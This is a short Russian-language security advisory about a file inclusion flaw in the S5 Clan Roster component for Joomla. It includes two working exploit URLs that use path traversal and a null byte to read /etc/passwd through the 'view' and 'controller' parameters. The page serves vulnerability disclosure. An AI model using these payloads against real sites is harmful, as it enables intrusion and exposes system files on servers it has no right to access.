Программа: S5 Clan Roster (component for Joomla)

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в параметре "controller" и "view" сценарием index.php (когда "option"
установлен в "com_s5clanroster"). Удаленный пользователь может выполнить
произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Эксплоит:

http://localhost/index.php?option=com_s5clanroster&view=../../../../../../../../../../etc/passwd%00
http://localhost/index.php?option=com_s5clanroster&controller=../../../../../../../../../../etc/passwd%00

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии